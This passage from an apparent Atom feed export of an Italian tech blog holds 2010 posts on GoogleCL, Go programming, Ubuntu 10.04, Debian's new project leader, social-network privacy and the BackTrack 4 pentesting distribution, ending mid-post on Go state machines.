Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6598715606854643038</id><published>2010-06-21T22:31:00.004+02:00</published><updated>2010-06-21T22:47:32.657+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Google CL: una stupenda notizia!</title><content type='html'>Avevo già letto qualcosa nei giorni scorsi ma oggi un articolo dell'intramontabile &lt;a href="http://programmazione.it/index.php?entity=eitem&amp;idItem=44916"&gt;Programmazione.it&lt;/a&gt; mi ha dato la certezza: Google ha fornito un set di strumenti da linea di comando per poter interagire tramite shell con i servizi che offre tramite il google-account.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.costiga.net/wp-content/2008/04/unix_shell.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 292px;" src="http://www.costiga.net/wp-content/2008/04/unix_shell.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Andando sul &lt;a href="http://code.google.com/p/googlecl/"&gt;sito del progetto&lt;/a&gt;, rigorosamente googlecode, si possono individuare subito due cose.&lt;br /&gt;&lt;br /&gt;La prima sono gli strumenti che è possibile utilizzare tramite linea di comando:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;"We currently support the following Google services:&lt;br /&gt;Blogger&lt;br /&gt;$ google blogger post --title "foo" "command line posting"&lt;br /&gt;Calendar&lt;br /&gt;$ google calendar add "Lunch with Jim at noon tomorrow"&lt;br /&gt;Contacts&lt;br /&gt;$ google contacts list name,email &gt; contacts.csv&lt;br /&gt;Docs&lt;br /&gt;$ google docs edit --title "Shopping list"&lt;br /&gt;Picasa&lt;br /&gt;$ google picasa create --title "Cat Photos" ~/photos/cats/*.jpg&lt;br /&gt;Youtube&lt;br /&gt;$ google youtube post --category Education killer_robots.avi"&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Va aggiunto che sulla pagina principale del progetto è possibile anche trovare degli script di esempio che fanno capire meglio le potenzialità di questo strumento.&lt;br /&gt;&lt;br /&gt;La seconda cosa che è possibile notare è il codice Python, liberamente consultabile (e ci mancherebbe altro, mi sento di aggiungere), che meglio ci può far comprendere l'utilizzo delle API e la duttilità di questo linguaggio di programmazione.&lt;br /&gt;&lt;br /&gt;for i in {ls -l /home/myhome/pictures/} do echo i | google picasa post --title "My Photos" &lt;br /&gt;&lt;br /&gt;;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6598715606854643038?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6598715606854643038/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6598715606854643038' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6598715606854643038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6598715606854643038'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/06/google-cl-una-stupenda-notizia.html' title='Google CL: una stupenda notizia!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-2339875108368164075</id><published>2010-06-07T22:39:00.004+02:00</published><updated>2010-06-07T22:48:14.006+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Go'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Google I|O: Una fucina di idee!</title><content type='html'>Ogni anno viene riproposto un evento. No, scusate, ogni anno viene riproposto L'Evento: il Google I|O, dove le menti più brillanti fanno vedere cosa si può fare con le moderne tecnologie a disposizione.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sXS0ScZT1Nw/TA1ZoJ8h97I/AAAAAAAAAhc/9IJfM537v1I/s1600/Screenshot.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 46px;" src="http://1.bp.blogspot.com/_sXS0ScZT1Nw/TA1ZoJ8h97I/AAAAAAAAAhc/9IJfM537v1I/s320/Screenshot.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480134867979204530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Una cosa in particolare ha catturato la mia attenzione. A &lt;a href="http://code.google.com/events/io/2010/sessions/go-programming.html"&gt;questo link&lt;/a&gt; è possibile visionare un tech talk di quasi un'ora sul nuovo linguaggio di programmazione (Go-language). Questo talk è tenuto da Russ Cox, papà del linguaggio.&lt;br /&gt;&lt;br /&gt;La particolarità di questa presentazione è il fatto che Russ si spinge in dettagli avanzati come la gestione degli oggetti e dei tipi che sicuramente hanno bisogno di chiarimenti da parte di chi ha concepito il linguaggio.&lt;br /&gt;&lt;br /&gt;Ma i regali di G. non finiscono qua. Sul &lt;a href="http://googlecode.blogspot.com/2010/06/tech-talks-and-fireside-chats-at-io.html"&gt;blog ufficiale&lt;/a&gt; della sezione code di Google è possibile guardare tutti i tech talk fra cui App Engine e Wave.&lt;br /&gt;&lt;br /&gt;Buona visione a tutti ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-2339875108368164075?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/2339875108368164075/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=2339875108368164075' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2339875108368164075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2339875108368164075'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/06/google-io-una-fucina-di-idee.html' title='Google I|O: Una fucina di idee!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_sXS0ScZT1Nw/TA1ZoJ8h97I/AAAAAAAAAhc/9IJfM537v1I/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-8920556612455359570</id><published>2010-05-04T21:59:00.003+02:00</published><updated>2010-05-04T22:45:46.072+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu 10.04 prime impressioni</title><content type='html'>Ho installato Ubuntu 10.04 (mannaggia non mi ricordo mai i nomi in codice delle varie release...) per processori a 64bit e mi trovo davanti a una Ubuntu box installata di fresco.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.ubuntu.com/files/1004features/1004header.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 67px;" src="http://www.ubuntu.com/files/1004features/1004header.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Dopo 3 upgrade di versione ho preso la decisione di installare questa LTS da zero per avere il nuovo file system ext4 e vedere come va.&lt;br /&gt;Ecco quindi le primissime impressioni di questa release:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Il primo punto va sicuramente dedicato all'interfaccia grafica che è stata decisamente rinnovata e trova in questo rilascio una maturità che fin'ora era mancata. La discutibile scelta di mettere i pulsanti di gestione della finestra sulla sinistra della barra del titolo ha trovato una &lt;a href="http://www.ossblog.it/post/6181/ubuntu-1010-le-novita-sono-windicators-e-pannello-unico"&gt;pronta spiegazione oggi&lt;/a&gt;. Sia che il tema scuro che il tema chiaro (molto OSX) danno uno stile moderno e distinto.&lt;/li&gt;&lt;li&gt;È vero non c'è più gimp, il messenger predefinito è empathy ecc ecc ecc ma io le trovo tutte scelte condivisibili e  ragionevoli. Gimp si fa in un attimo a installare e Empathy trovo che sia un client buono, da esplorare, ma che mi ha già dato parecchie soddisfazioni.&lt;/li&gt;&lt;li&gt;La velocità complessiva del sistema mi sembra incrementata. L'unica cosa che pesa leggermente di più sulle prestazioni è Compiz. Con Compiz attivo le applicazioni che fanno uso intensivo della scheda grafica, come giochi e grafica 3d,  ne risentono e tendono a scattare.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Parliamo invece dell'aria che si respira. Social, Cloud e Web sembrano le tre parole che hanno dettato la stesura di questa release. Oltre allo spostamento dei pulsanti di controllo si trovano di default e facilmente configurabili tutti gli strumenti per instant messaging. Empathy permette di comunicare con tutti i principali canali, da msn a facebook. Gwibber permette di aggiornare i propri contatti di social networking. Evolution da alle mail una nuova veste e rende calendario, mail e contatti integrati perfettamente all'interno del sistema. A tutto questo si unisce il servizio Ubuntu One, che già era presente nella versione 9.10, che garantisce quel tocco di cloud proprio di questi tempi. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Un'unica raccomandazione quindi: &lt;a href="http://www.ubuntu.com"&gt;Get Ubuntu!&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-8920556612455359570?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/8920556612455359570/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=8920556612455359570' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8920556612455359570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8920556612455359570'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/05/ubuntu-1004-prime-impressioni.html' title='Ubuntu 10.04 prime impressioni'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-8624264585587828650</id><published>2010-04-25T01:14:00.002+02:00</published><updated>2010-04-25T01:26:06.048+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ide'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Eclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='Go'/><title type='text'>Nefarious-IDE, un primo passo dell'universo Go</title><content type='html'>A chi è stato molto attento non è per nulla nuovo, ma oramai mi sembra giunto alla maturità sufficiente per essere presentato a tutti.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sites.google.com/a/kryas.com/kryas/_/rsrc/1263977039834/nefarious-images/Screen%20shot%202010-01-20%20at%201.41.45%20AM.png?height=611&amp;amp;width=800"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 200px;" src="http://sites.google.com/a/kryas.com/kryas/_/rsrc/1263977039834/nefarious-images/Screen%20shot%202010-01-20%20at%201.41.45%20AM.png?height=611&amp;amp;width=800" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Nefarious-IDE è un plug-in per Eclipse che ci permette di avere un IDE per il linguaggio GO che fino ad oggi abbiamo editato all'interno di scarni editor.&lt;br /&gt;&lt;br /&gt;Il progetto non si può ancora definire avanzato ma quanto meno usabile. Infatti è già presente quasi tutta la parte di highlight della sintassi e permette di compilare i sorgenti scritti. &lt;br /&gt;&lt;br /&gt;Ancora nulla sul versante autocompletamento o almeno suggerimenti ma sono sicuro che sia il primo punto sull'agenda dei dev.&lt;br /&gt;&lt;br /&gt;Ecco lo stato di avanzamento delle varie parti:&lt;br /&gt;&lt;blockquote&gt;"&lt;span style="font-style:italic;"&gt;Current Features for Development Version: 0.0.12.a (Total Dev Time: 40.2 hrs) &lt;br /&gt;- syntax highlighting (90%)&lt;br /&gt;- compile upon save and mark errors within project (60%) (go compiler required)&lt;br /&gt;- preference integration (70%)&lt;br /&gt;- project configuration (65%)&lt;br /&gt;- editor keyboard shortcuts (10%)&lt;br /&gt;- go source to xml translator tool(65%)&lt;/span&gt;"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Sul &lt;a href="http://code.google.com/p/nefarious-ide/"&gt;sito ufficiale del progetto&lt;/a&gt; è possibile trovare l'url da inserire direttamente all'interno di Eclipse per scaricare il plug-in e automaticamente installarlo.&lt;br /&gt;&lt;br /&gt;Buon divertimento ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-8624264585587828650?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/8624264585587828650/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=8624264585587828650' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8624264585587828650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8624264585587828650'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/04/nefarious.html' title='Nefarious-IDE, un primo passo dell&apos;universo Go'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5862752093582749784</id><published>2010-04-20T18:45:00.002+02:00</published><updated>2010-04-20T21:50:15.858+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sicurezza'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Social networking e privacy</title><content type='html'>Scrivo raramente di questioni "filosofiche" relative al mondo dell'informatica ma oggi mi trovo a fare una riflessione sul fenomeno che da emergente è diventato abituale nella nostra vita: la partecipazione ai social network.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.easyhealth.org.uk/cmsimages/privacy_policy_1673_1673.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 250px; height: 250px;" src="http://www.easyhealth.org.uk/cmsimages/privacy_policy_1673_1673.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Ne parlo oggi in occasione delle sentenze dei tribunali che intimano a Google più privacy. Ne parlo oggi dove si parla molto di responsabilità delle compagnie che offrono i servizi e molto poco delle responsabilità degli utenti che utilizzano abitualmente (o meno) questi servizi.&lt;br /&gt;&lt;br /&gt;Abbiamo assistito senza accorgercene a un decentramento delle responsabilità: gli utenti sono padroni della loro privacy e determinano in che misura gli altri utenti possono "farsi gli affari nostri". Lamentarsi successivamente perchè certe informazioni sono diffuse da solamente l'impressione che ci sia poca chiarezza su cosa sia il web.&lt;br /&gt;&lt;br /&gt;Non troppo tempo fa (e anche oggi per quel che mi riguarda) ci si connetteva ad irc passando per un proxy che fosse il più sicuro e distante dalla nostra posizione geografica. Ci si mascherava dietro nick imperscrutabili. Si custodiva gelosamente la nostra identità.&lt;br /&gt;&lt;br /&gt;Oggi non è più così e il web è diventato un estensione della nostra vita. Viene però troppo spesso confuso con la nostra vita e nei casi più estremi si sostituisce alla vita reale e qui scattano i problemi. L'audience è sterminato e il pericolo è di sentirsi in un reality perchè, diciamolo pure, a tutti i neo-internauti piace sentirsi  nel Grande Fratello del giorno.&lt;br /&gt;&lt;br /&gt;La cosa che vorrei vedere di più però è una responsabilizzazione degli utenti perchè ora la sicurezza verte su di loro. La privacy, o ciò che ne rimane, è nelle loro mani e poi non si deve e non si può piangere contro le compagnie che forniscono i servizi.&lt;br /&gt;&lt;br /&gt;Spero di aver reso il più chiare possibili le mie idee con questo post. Con ciò non intendo asserire che le compagnie non hanno le loro responsabilità. Il vero problema è che stanno scivolando verso gli utenti.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5862752093582749784?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5862752093582749784/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5862752093582749784' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5862752093582749784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5862752093582749784'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/04/social-networking-e-privacy.html' title='Social networking e privacy'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1718540238483257245</id><published>2010-04-18T20:47:00.003+02:00</published><updated>2010-04-18T20:54:54.172+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Debian tricolore</title><content type='html'>Questa è una notizia che non può fare altro che inorgogliosirci:&lt;br /&gt;Stefano Zacchiroli è stato eletto come Debian Project Leader.&lt;br /&gt;&lt;br /&gt;È possibile consultare la sua pagina personale a &lt;a href="http://upsilon.cc/~zack/"&gt;questo indirizzo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ne tesse le lodi anche il Project Leader uscente, Steve McIntyre, che dichiara: &lt;span style="font-style:italic;"&gt;"I've had a great time working for Debian as DPL and I'm more than happy to be handing over the reigns to Stefano. He has excellent ideas and should do a good job for us."&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Dall'&lt;a href="http://www.debian.org/News/2010/20100416"&gt;articolo ufficiale&lt;/a&gt; emerge anche che Stefano è stato scelto fra un gruppo di candidati tra cui figura anche una donna: Margarita Manterola.&lt;br /&gt;&lt;br /&gt;Chissà che un domani non ci sia una leadeship rosa per il progetto Debian.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1718540238483257245?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1718540238483257245/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1718540238483257245' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1718540238483257245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1718540238483257245'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/04/debian-tricolore.html' title='Debian tricolore'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-8483496076672983708</id><published>2010-04-06T19:55:00.003+02:00</published><updated>2010-04-06T20:16:10.774+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sicurezza'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='BackTrack'/><title type='text'>Backtrack 4 - Live dal mio laptop</title><content type='html'>Il corso di laurea in sicurezza delle reti propone l'utilizzo di alcuni strumenti per l'analisi dei sistemi.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://mattsmarket.com/wp-content/uploads/2009/11/backtrack4.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 125px;" src="http://mattsmarket.com/wp-content/uploads/2009/11/backtrack4.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Gli strumenti sono tutti, o quasi, open source ma mi sono chiesto: "Perchè non installare una distribuzione che funzioni come una vera e propria cassetta degli attrezzi?". La risposta è stata BackTrack che nella sua quarta incarnazione racchiude il cuore di Ubuntu 8.10.&lt;br /&gt;&lt;br /&gt;La uso da un paio d'ore e già mi trovo a mio agio. L'interfaccia grafica è kde3 e il sistema è molto più vicino al Linux nudo e crudo rispetto a Ubuntu ma la configurazione del sistema è stata molto semplice e tutte le periferiche, wi-fi incluso sono state riconosciute e funzionano correttamente.&lt;br /&gt;&lt;br /&gt;All'interno dei menù di backtrack si trova tutto ciò che serve per testare le proprie reti, fare penetration testing e auditing: dal comunissimo nmap a openvas fino a brutessh. Ce n'è davvero per tutti i gusti e per tutte le esigenze.&lt;br /&gt;&lt;br /&gt;Prossimamente cercherò di fare chiarezza su qualche strumento che si può trovare all'interno della distro ma per ora mi sento solo di fare un'entusiastica lode.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-8483496076672983708?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/8483496076672983708/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=8483496076672983708' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8483496076672983708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8483496076672983708'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/04/backtrack-4-live-dal-mio-laptop.html' title='Backtrack 4 - Live dal mio laptop'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1191990203373702036</id><published>2010-03-09T21:12:00.004+01:00</published><updated>2010-03-09T21:30:55.863+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Go'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>wait() in Go, How to?</title><content type='html'>Stamattina sono stato colto da un dubbio che ha fortunatamente trovato una risposta nella ricchissima mailing list di go-language: &lt;a href="http://groups.google.com/group/golang-nuts?pli=1"&gt;http://groups.google.com/group/golang-nuts?pli=1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La domanda che mi sono posto è la seguente: esiste un modo intelligente per aspettare che tutte le go routines abbiano finito la loro esecuzione prima di procedere alla chiusura della funzione main?&lt;br /&gt;&lt;br /&gt;Stamattina, come al solito, apro le mail e trovo la seguente &lt;a href="http://groups.google.com/group/golang-nuts/browse_thread/thread/98d8579d62c53a8e"&gt;discussione&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Subito arrivano alcune risposte come ad esempio:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;The standard practice in Go seems to be for goroutines to pass to a&lt;br /&gt;channel so signal their end.  For example:&lt;br /&gt;&lt;br /&gt;package main&lt;br /&gt;&lt;br /&gt;func routine(quit chan int) {&lt;br /&gt;    // do stuff&lt;br /&gt;    quit &lt;- 1&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;func main() {&lt;br /&gt;    routineQuit := make(chan int)&lt;br /&gt;    go routine(routineQuit)&lt;br /&gt;&lt;br /&gt;    &lt;-routineQuit // blocks until quit is written to&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;-Daniel &lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Ma poi arriva questo link che vi invito caldamente a seguire se siete interessati all'argomento come lo sono io perchè lo spiega in modo molto chiaro: &lt;a href="http://michaelspeer.blogspot.com/2010/03/go-language-is-lovely.html"&gt;link&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A breve altri approfondimenti.&lt;br /&gt;Buon Go a tutti!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1191990203373702036?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1191990203373702036/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1191990203373702036' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1191990203373702036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1191990203373702036'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/03/wait-in-go-how-to.html' title='wait() in Go, How to?'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-503067186456544355</id><published>2010-03-01T19:37:00.006+01:00</published><updated>2010-03-07T14:05:08.935+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Go'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>State Machine in Go-Language - 1^ parte</title><content type='html'>Comincia con questo articolo una serie di post che tratta un argomento molto attuale e utile. La vastità del mare nel quale ci apprestiamo a navigare avrebbe bisogno di molte e molte pagine di libro per questo ho deciso di spezzettare in più parti la 